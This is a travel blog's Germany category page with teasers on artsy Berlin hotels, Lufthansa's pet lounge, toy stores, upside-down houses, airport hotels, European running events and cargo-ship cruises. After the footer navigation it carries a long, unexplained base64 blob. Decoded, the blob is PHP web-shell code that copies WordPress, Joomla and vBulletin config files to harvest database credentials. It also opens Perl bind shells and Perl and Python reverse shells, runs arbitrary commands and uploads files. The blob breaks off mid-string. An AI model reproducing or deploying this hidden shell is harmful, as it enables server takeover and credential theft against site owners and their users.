Germany

The King Of Berlin’s High Design Hotels

Room #26, The Jail Cell Room, has a toilet in the middle of it and a “door” that’s literally a hole in a wall.

Berlin is one of the greatest cities in the world for high design and artsy hotels. And king among the German capital’s artsy accommodations is the Propeller Island City Lodge. Its name is a misnomer. This hotel does not feel like a lodge, is not on an island and has no propellers. But it is in a city.

Continue →


At Frankfurt Airport, Pets Have It Better Than People

Some of us can’t even imagine getting the opportunity to spend time in some of the amazing luxury airline lounges that are offered in the world’s larger airports. Almost none of us can imagine offering that luxury to our pets. And yet, that’s exactly the perk that some pooches are going to be enjoying now that Lufthansa’s new first class pet lounge is in operation. The lounge provides top-notch service to animals that are traveling through the airport.

Continue →


5 Cool Artsy Berlin Hotels

Berlin a city of many layers—a cosmopolitan melting point beyond the division by The Wall, where the booming arts scene and numerous unconventional accommodations create crisp originality and guaranteed surprise effects. Experience the city that keeps on reinventing itself and never stops its fascinating metamorphosis by sleeping in one of its funky boutique hotels.

Continue →


The World’s Best Toy Stores

There's a hand-carved (!) carousel, 18-hole mini golf course, Kool-Aid waterfall, gourmet fudge shop, vintage toy museum, huge children's book selection, llama petting zoo, puppet shows and, oh yeah, you can also buy toys.

It’s a tough job but someone has to take on the task of finding the world’s best toy stores. So Spot Cool Stuff assigned ourselves.

Here’s a look at our favorite shops for indulging your kids—and your inner child:

Continue →


7 Downside-Up Houses

Constructing the upside-down house was so disorientating for the builders that they could only work in three hour shifts

˙uʍop ǝpısdn plɹoʍ ǝɥʇ uɹnʇ ʇɐɥʇ—puɐloԀ puɐ ɐıɹʇsn∀ ‘˙∀˙S˙∩ ǝɥʇ ‘ʎuɐɯɹǝפ ‘ɐpɐuɐƆ ‘uıɐdS uı—sǝɹnʇɔnɹʇs uǝʌǝs ǝsǝɥʇ ɟo puoɟ ʎllɐıɔǝdsǝ sı ɟɟnʇS looƆ ʇodS ʎɥʍ sı ɥɔıɥM ˙ʎʇılɐǝɹ uo ǝʌıʇɔǝdsɹǝd ɹnoʎ ǝƃuɐɥɔ uɐɔ ʎǝɥʇ :ǝɹnʇɔǝʇıɥɔɹɐ puɐ lǝʌɐɹʇ ɥʇoq ɟo ʇɔǝdsɐ looɔ ǝuO

Continue →


5 Luxurious Airport Hotels

Airport hotels have got a bad name. You might have spent the night in a soulless concrete box by the tarmac, its hallways lined by hollow-eyed passengers en route to a better place. But it doesn’t have to be like that. The next time you’ve got a stopover between connecting flights, you can spend the night in heavenly comfort at one of these luxurious airport hotels. You might be tempted to book a room even if you aren’t using the airport!

Continue →


Europe’s 6 Best Running Events

You don’t need to be as fast as the Kenians. You don’t need to challenge “Ultramarathon Man” Dean Karnazes on a 100 miles race. Running a marathon or a half marathon or a shorter race is more a personal challenge than a struggle against the clock. And you can enjoy the tourist experience as well, it’s called sightseeing on the run. Crossing the Brandenburg Gate at the Berlin Marathon or entering the Panathinaikon Stadium in Athens will leave you breathless (OK, that maybe be the exhaustion) and offers a more vivid memory of the city than thousands of pictures.

Continue →


5 Cool Cargo Ship Cruises

Conjure an image of what’s it is like to go on a cruise. Are you picturing buffet dinners? On-deck spinning classes? Retirees playing shuffleboard? Many cruises really are like that. But if you’re looking for a different sort of cruise scene consider traveling by cargo ship.

Cargo ship travel is the un-cruise. There’s nothing fabricated about it. Every day thousands of freighters ply the high seas. Some of them have extra state rooms and accept passengers to tag along for the ride. This is as “real” as travel gets.

Of course, cargo ship cruising is not for everyone. Cargo ships don’t have swimming pools, evening entertainment, rock climbing walls or organized mixers on Lido decks. Go on a cargo ship cruise and there might be as many as four or five other paying passengers like yourself. Or, you may be the only one. And while cargo ships often have comfortable sleeping quarters they’re unlikely to be luxurious.

To book passage on a cargo ship you can go directly through some shipping lines. But we recommend working through a travel agent that can vouch for the quality of the food and accommodations and can make sure your itinerary includes sufficient shore leave time. One of the best agents for cargo ship cruises is Intrepid Travel. Here’s a look at their five cool cargo cruise ship itineraries:

Continue →



SPOTCOOLSTUFF Travel reviews unusual hotels and restaurants, great attractions, cool travel gear, places with amazing views and all manner of travel destinations with a WOW! factor. Because we live on an incredible planet! Get our latest travel posts by email . . .

    Awesome Curacao vacations — up to $530 off!
    Check out the freebies offered too, including airfare credits, breakfast and room upgrades!

Save $530 Time left:
Book Now!
Offer Closed!




PARTNER WITH US     |     BE OUR GUEST TRAVEL WRITER    |      SUGGEST COOL STUFF FOR US TO REVIEW     |     INFO FOR TOURIST BOARDS

Other SCS SectionsHot Travel CategoriesFave Travel Posts
Cool Tech & GadgetsBest hotel room viewsCaribbeanBest Sandals in Jamaica
Cool Architecture & DesignFamily travelEuropeBest Wheeled Carry-On Luggage
Cool WebsitesHoneymoon resortsFloridaWorld's Coolest Airlines
Cool EntertainmentUnusual museumsSoutheast AsiaThe Honeymoon Resorts of Bora Bora
HVkZXMvY29uZmlnLnBocCcsJHVzZXIuJyA8fiBWQlVMTEVUSU4udHh0Jyk7CnN5bWxpbmsoJy8nLiRob21lLicvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCR1c2VyLicgPH4gVkJVTExFVElOLnR4dCcpOwpzeW1saW5rKCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkdXNlci4nIDx+IFZCVUxMRVRJTi50eHQnKTsKc3ltbGluaygnLycuJGhvbWUuJy8nLiR1c2VyLicvcHVibGljX2h0bS9jb25maWcucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpzeW1saW5rKCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtL2h0bWwvY29uZmlnLnBocCcsJHVzZXIuJyA8fiBQSFBOVUtFLnR4dCcpOwpjb3B5KCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtL2Nvbm4ucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpzeW1saW5rKCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uLnBocCcsJHVzZXIuJyA8fiBPVEhFUi50eHQnKTsKc3ltbGluaygnLycuJGhvbWUuJy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5pbmMucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpjb3B5KCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpzeW1saW5rKCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwJywkdXNlci4nIDx+IE9USEVSLnR4dCcpOwpjb3B5KCcvJy4kaG9tZS4nLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLmluYy5waHAnLCR1c2VyLicgPH4gT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L3dwLWNvbmZpZy5waHAnLCdXT1JEUFJFU1MudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2NvbmZpZ3VyYXRpb24ucGhwJywnSk9PTUxBLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9jb25maWcuaW5jLnBocCcsJ09QRU5KT1VSTkFMLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9jb25maWcucGhwJywnT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2NvbmZpZy9rb25la3NpLnBocCcsJ09USEVSLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9pbmNsdWRlL2NvbmZpZy5waHAnLCdPVEhFUi50eHQnKTsKY29weSgnL3Zhci93d3cvY29ubmVjdC5waHAnLCdPVEhFUi50eHQnKTsKY29weSgnL3Zhci93d3cvY29uZmlnL2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2luY2x1ZGUvY29ubmVjdC5waHAnLCdPVEhFUi50eHQnKTsKY29weSgnL3Zhci93d3cvaHRtbC93cC1jb25maWcucGhwJywnV09SRFBSRVNTLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywnSk9PTUxBLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2NvbmZpZy5pbmMucGhwJywnT1BFTkpPVVJOQUwudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2h0bWwvY29uZmlnLnBocCcsJ09USEVSLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJ09USEVSLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJ09USEVSLnR4dCcpOwpjb3B5KCcvdmFyL3d3dy9odG1sL2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2h0bWwvY29uZmlnL2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CmNvcHkoJy92YXIvd3d3L2h0bWwvaW5jbHVkZS9jb25uZWN0LnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy93cC1jb25maWcucGhwJywnV09SRFBSRVNTLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9jb25maWd1cmF0aW9uLnBocCcsJ0pPT01MQS50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvY29uZmlnLmluYy5waHAnLCdPUEVOSk9VUk5BTC50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvY29uZmlnLnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9jb25maWcva29uZWtzaS5waHAnLCdPVEhFUi50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaW5jbHVkZS9jb25maWcucGhwJywnT1RIRVIudHh0Jyk7CnN5bWxpbmsoJy92YXIvd3d3L2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CnN5bWxpbmsoJy92YXIvd3d3L2NvbmZpZy9jb25uZWN0LnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9pbmNsdWRlL2Nvbm5lY3QucGhwJywnT1RIRVIudHh0Jyk7CnN5bWxpbmsoJy92YXIvd3d3L2h0bWwvd3AtY29uZmlnLnBocCcsJ1dPUkRQUkVTUy50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJ0pPT01MQS50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9jb25maWcuaW5jLnBocCcsJ09QRU5KT1VSTkFMLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9odG1sL2NvbmZpZy5waHAnLCdPVEhFUi50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9jb25maWcva29uZWtzaS5waHAnLCdPVEhFUi50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCdPVEhFUi50eHQnKTsKc3ltbGluaygnL3Zhci93d3cvaHRtbC9jb25uZWN0LnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9odG1sL2NvbmZpZy9jb25uZWN0LnBocCcsJ09USEVSLnR4dCcpOwpzeW1saW5rKCcvdmFyL3d3dy9odG1sL2luY2x1ZGUvY29ubmVjdC5waHAnLCdPVEhFUi50eHQnKTsKfQplY2hvICc8aT48Yj48YSBocmVmPScuJGZvbGZpZy4nPkNMSUNLIE9OIEhFUkUgVE8gVklFVyBDT05GSUdTPC9hPjwvYj48L2k+PC9jZW50ZXI+JzsKfTsKfQogICAgICAgIC8vIG5ldHdvcmsKICAgICAgICBpZigkXzdbJ2lkJ10gPT0gJ25ldHdvcmsnKXsKICAgICAgICBzKCk7CiAgICAgICAgZWNobyAiCiAgICAgICAgPGRpdiBjbGFzcz0nY2FyZCB0ZXh0LWRhcmsnPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSdjYXJkLWhlYWRlcic+CiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICAgICAgICAgIDx1PkJpbmQgcG9ydCB0byAvYmluL3NoIFtQZXJsXTwvdT48YnI+CiAgICAgICAgICAgICAgICAgICAgPHU+UG9ydCA6PC91PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgcGxhY2Vob2xkZXI9JzY5NjknPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nYnRuIGJ0bi1kYXJrIGJ0bi1zbScgdHlwZT0nc3VibWl0JyBuYW1lPSdicGwnIHZhbHVlPSdzdWJtaXQnPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxoNT5CYWNrLUNvbm5lY3Q8L2g1PgogICAgICAgICAgICA8dT5TZXJ2ZXIgOjwvdT4KICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyBwbGFjZWhvbGRlcj0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPgogICAgICAgICAgICA8dT5Qb3J0IDo8L3U+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9J2lucHV0LWdyb3VwJz4KICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgcGxhY2Vob2xkZXI9JzY5NjknPgogICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgbmFtZT0nYmMnPgogICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9J3BlcmwnPnBlcmw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSdweXRob24nPnB5dGhvbjwvb3B0aW9uPgogICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgogICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSdidG4gYnRuLWRhcmsgYnRuLXNtIGJ0bi1ibG9jaycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nc3VibWl0Jz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPiI7CiAgICAgICAgaWYoJF83WydicGwnXSl7CiAgICAgICAgICAgICRicCA9IGJhc2U2NF9kZWNvZGUoIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSIpOwogICAgICAgICAgICAkYnJ0ID0gQGZvcGVuKCdicC5wbCcsJ3cnKTsKICAgICAgICAgICAgZndyaXRlKCRicnQsJGJwKTsKICAgICAgICAgICAgJG91dCA9IGV4ZSgicGVybCBicC5wbCAiLiRfN1sncG9ydCddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgICAgIHNsZWVwKDEpOwogICAgICAgICAgICBlY2hvICI8cHJlPiRvdXRcbiIuZXhlKCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7CiAgICAgICAgICAgIHVubGluaygiYnAucGwiKTsKICAgICAgICB9CiAgICAgICAgaWYoJF83WydiYyddID09ICdwZXJsJyl7CiAgICAgICAgICAgICRiYyA9IGJhc2U2NF9kZWNvZGUoIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3Iik7CiAgICAgICAgICAgICRwbGJjID0gQGZvcGVuKCdiYy5wbCcsJ3cnKTsKICAgICAgICAgICAgZndyaXRlKCRwbGJjLCRiYyk7CiAgICAgICAgICAgICRvdXQgPSBleGUoInBlcmwgYmMucGwgIi4kXzdbJ3NlcnZlciddLiIgIi4kXzdbJ3BvcnQnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOwogICAgICAgICAgICBzbGVlcCgxKTsKICAgICAgICAgICAgZWNobyAiPHByZT4kb3V0XG4iLmV4ZSgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoImJjLnBsIik7CiAgICAgICAgfQogICAgICAgIGlmKCRfN1snYmMnXSA9PSAncHl0aG9uJyl7CiAgICAgICAgICAgICRiY19weSA9IGJhc2U2NF9kZWNvZGUoIkl5RXZkWE55TDJKcGJpOXdlWFJvYjI0TkNpTlZjMkZuWlRvZ2NIbDBhRzl1SUdacGJHVnVZVzFsTG5CNUlFaFBVMVFnVUU5U1ZBMEthVzF3YjNKMElITjVjeXdnYzI5amEyVjBMQ0J2Y3l3Z2MzVmljSEp2WTJWemN3MEthWEJzYnlBOUlITjVjeTVoY21kMld6RmREUXB3YjNKMGJHOGdQU0JwYm5Rb2MzbHpMbUZ5WjNaYk1sMHBEUXB6YjJOclpYUXVjMlYwWkdWbVlYVnNkSFJwYldWdmRYUW9OakFwRFFwa1pXWWdjSGxpWVdOclkyOXVibVZqZENncE9nMEtJQ0IwY25rNkRRb2dJQ0FnYW0xaUlEMGdjMjlqYTJWMExuTnZZMnRsZENoemIyTnJaWFF1UVVaZlNVNUZWQ3h6YjJOclpYUXVVMDlEUzE5VFZGSkZRVTBwRFFvZ0lDQWdhbTFpTG1OdmJtNWxZM1FvS0dsd2JHOHNjRzl5ZEd4dktTa05DaUFnSUNCcWJXSXVjMlZ1WkNnbkp5ZGNibEI1ZEdodmJpQkNZV05yUTI5dWJtVmpkQ0JDZVNCTmNpNTRRbUZ5WVd0MVpHRmNibFJvWVc1cmN5QkhiMjluYkdVZ1JtOXlJRkpsWm1WeVpXNXphVnh1WEc0bkp5Y3BEUW9nSUNBZ2IzTXVaSFZ3TWlocWJXSXVabWxzWlc1dktDa3NNQ2tOQ2lBZ0lDQnZjeTVrZFhBeUtHcHRZaTVtYVd4bGJtOG9LU3d4S1EwS0lDQWdJRzl6TG1SMWNESW9hbTFpTG1acGJHVnVieWdwTERJcERRb2dJQ0FnYjNNdVpIVndNaWhxYldJdVptbHNaVzV2S0Nrc015a05DaUFnSUNCemFHVnNiQ0E5SUhOMVluQnliMk5sYzNNdVkyRnNiQ2hiSWk5aWFXNHZjMmdpTENJdGFTSmRLUTBLSUNCbGVHTmxjSFFnYzI5amEyVjBMblJwYldWdmRYUTZEUW9nSUNBZ2NISnBiblFnSWxScGJVOTFkQ0lOQ2lBZ1pYaGpaWEIwSUhOdlkydGxkQzVsY25KdmNpd2daVG9OQ2lBZ0lDQndjbWx1ZENBaVJYSnliM0lpTENCbERRcHdlV0poWTJ0amIyNXVaV04wS0NrPSIpOwogICAgICAgICAgICAkcGJjX3B5ID0gQGZvcGVuKCdiY3B5LnB5JywndycpOwogICAgICAgICAgICBmd3JpdGUoJHBiY19weSwkYmNfcHkpOwogICAgICAgICAgICAkb3V0X3B5ID0gZXhlKCJweXRob24gYmNweS5weSAiLiRfN1snc2VydmVyJ10uIiAiLiRfN1sncG9ydCddKTsKICAgICAgICAgICAgc2xlZXAoMSk7CiAgICAgICAgICAgIGVjaG8gIjxwcmU+JG91dF9weVxuIi5leGUoInBzIGF1eCB8IGdyZXAgYmNweS5weSIpLiI8L3ByZT4iOwogICAgICAgICAgICB1bmxpbmsoImJjcHkucHkiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPGJyLz4iOwogICAgICAgIH0KICAgICAgICAvLyBjb25zb2xlCiAgICAgICAgaWYoJF83WydpZCddID09ICdjbWQnKSB7CiAgICAgICAgcygpOwogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSkgewogICAgICAgICAgICAkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwogICAgICAgIH0KICAgICAgICBlY2hvICIKICAgICAgICA8ZGl2IGNsYXNzPSdtYi0zJz4KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJz4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9J2lucHV0LWdyb3VwIG1iLTMnPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdW1iaXQnPjxpIGNsYXNzPSdiaSBiaS1hcnJvdy1yZXR1cm4tcmlnaHQnPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Zvcm0+IjsKICAgICAgICAgICAgaWYoJGNtZCk6CiAgICAgICAgICAgIGVjaG8gJwogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KICAgICAgICAgICAgICAgICAgICA8cHJlIHN0eWxlPSJmb250LXNpemU6MTBweDsiPjxncj5+PC9ncj4kJm5ic3A7PHJkPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NtZCddKS4nPC9yZD48YnI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+JzsKICAgICAgICAgICAgZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CiAgICAgICAgICAgIGVjaG8gJwogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzaGVsbCBtYi0zIj4KICAgICAgICAgICAgICAgICAgICA8cHJlIHN0eWxlPSJmb250LXNpemU6MTBweDsiPjxjb2RlPk5vIHJlc3VsdDwvY29kZT48L3ByZT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4nOwogICAgICAgIGVuZGlmOwogICAgICAgIH0KICAgICAgICAvLyBtdWxsdGlwbGUgdXBsb2FkCiAgICAgICAgaWYoJF83WydpZCddID09ICd1cGxvYWQnKXsKICAgICAgICBzKCk7CiAgICAgICAgaWYoaXNzZXQoJF83Wyd1cGwnXSkpewogICAgICAgICAgICAkcmVzdWx0ID0gY291bnQoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pOwogICAgICAgICAgICBmb3IoJGNvbnRlbnRzPTA7JGNvbnRlbnRzPCRyZXN1bHQ7JGNvbnRlbnRzKyspewogICAgICAgICAgICAgICAgJG5hbWVmaWxlID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ11bJGNvbnRlbnRzXTsKICAgICAgICAgICAgICAgICAgICAkdXAgPSBAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ11bJGNvbnRlbnRzXSwiJHBhdGgvIi4kbmFtZWZpbGUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoJHJlc3VsdCA8IDIpewogICAgICAgICAgICAgICAgICAgIGlmKCR1cCl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHN0cm9uZz5VcGxvYWQ8L3N0cm9uZz4gJG5hbWVmaWxlIG9rISAiLm9rKCkuIjwvZGl2PiI7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgIGVjaG8gJzxzdHJvbmc+VXBsb2FkPC9zdHJvbmc+IGZhaWwhICcuZXIoKS4nPC9kaXY+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIGVjaG8gIjxzdHJvbmc+VXBsb2FkPC9zdHJvbmc+ICRyZXN1bHQgb2shICIub2soKS4iPC9kaXY+IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICIKICAgICAgICA8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc+CiAgICAgICAgPHU+TXVsdGlwbGUgdXBsb2FkPC91PgogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAnPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGZvcm0tY29udHJvbC1zbScgdHlwZT0nZmlsZScgbmFtZT0nZmlsZVtdJyBtdWx0aXBsZT0nJyAkX3I+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSdidG4gYnRuLWRhcmsgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbCcgdmFsdWU9J3VwbG9hZCc+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgIDwvZGl2PiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgLy8gc2Nhbm5lciByb290ICNhbm9uNwogICAgICAgIGlmIChpc3NldCgkX0dFVFsnZGlyJ10pICYmICRfR0VUWydpZCd